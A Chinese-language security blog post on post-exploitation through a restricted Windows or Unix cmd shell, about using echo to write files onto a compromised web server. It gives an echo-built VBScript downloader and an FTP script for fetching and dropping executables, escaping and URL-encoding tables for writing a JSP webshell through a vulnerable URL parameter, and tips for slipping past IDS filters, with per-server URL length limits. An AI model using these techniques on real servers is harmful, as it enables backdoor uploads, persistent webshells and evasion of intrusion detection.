MENU

CMD SHELL ECHO写文件

September 18, 2017 • Security

0x01 前言

通过某些漏洞获取到的Shell由于各种限制,往往只是一枚短小精悍的Cmd Shell。如图:

图片1.png

下一步?

  • 上传二进制后门
  • 上传功能多的WebShell

方式?

  • Wget
  • Ftp
  • certutil
  • Echo
  • 等等...

更多请参考:《渗透技巧——通过cmd上传文件的N种方法》

0x02 Echo 写文件

方式

1.写Ftp下载脚本

ftp  –s:getfile.ftp

Getfile.ftp
——------
open 127.0.0.1
Username
passwd
lcd local_path
get exefile
close
bye
——------

2.写Vbscript下载脚本

echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe  
echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe  
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe  
echo xPost.Open "GET",iRemote,0 >>iget.vbe  
echo xPost.Send() >>iget.vbe  
echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe  
echo sGet.Mode = 3 >>iget.vbe  
echo sGet.Type = 1 >>iget.vbe  
echo sGet.Open() >>iget.vbe  
echo sGet.Write(xPost.responseBody) >>iget.vbe  
echo sGet.SaveToFile iLocal,2 >>iget.vbe

用法: cscript hget.vbs http://127.0.0.1/test.exe test.exe

3.写新的WebShell

通过Web CmdShell Url上Echo写文件,Echo的内容必须经过转义,还需要转码,还有些更复杂的事情。

条件

定位网站根目录

  • 查看Web配置文件:Httpd.conf、Conf.d等...
  • 搜索特征文件并定位网站的根目录:PwdCdDir等...
  • Unix Find命令:find / -name ROOT.war
  • Windows Where /R命令:where /R D:\Primavera\ jboss.css

图片1.png

写文件

1.Unix转码和转义

对照表:


\ --> \\    | --> \|    < --> \<     --> \>    } --> \}    { --> \{

) --> \)    ( --> \(    ; --> \;    ' --> \'    " --> \"    

% --> %25    + --> %2b    # --> \%23    & --> \%26

例如:

\<%25@page import=\"java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*\"%25\>

2.Windows转码和转义

“”双引号中的任何字符都不可以转码或转义,%除外

转义字符只有两个:

<   ---   ^>
>   ---   ^>

转码字符:

% --> %25    # --> %23    @ --> %40
+ --> %2b    | --> %7c    & --> ^%26

PS:删除注释内容

URL ECHO

场景:

1.IDS将POST的数据过滤得很严,关键字符无法进行上传

  • URL ECHO

图片2.png

2.其他问题

  • 编码转义

    ....jsp?cmd=echo ^<%25%40page import="java.text.*"%25^> >1.jsp

局限性:

Echo字符数量有限,依赖于具体的浏览器也依赖于web服务器,当然还有万恶的IDS。

  • IE在地址栏的字符数上限是2048个字符
  • Chrome没有明显的上限,超过1M的内容也可以轻松接受
  • Firefox没有明显的上限,超过5M的内容也可以轻松接受
  • LinuxWin tomcat jboss 接受的URL最大长度是7800
  • Windows Tomcat URL7825
  • Windows PHP Apache URL最大长度为8193
  • IIS6 ASP URL最大长度为15973

平台相关性

1.Echo的内容编码方式只跟系统平台相关

也就是说Windows Url Echo文件规律编码适用于Windows下所有的主流Web服务器,包括IIS,apache。

2.编程语言相关性

适用于各种Web编程语言,包括ASP,PHP和JSP...

Archives QR Code
QR Code for this page
Tipping QR Code
Leave a Comment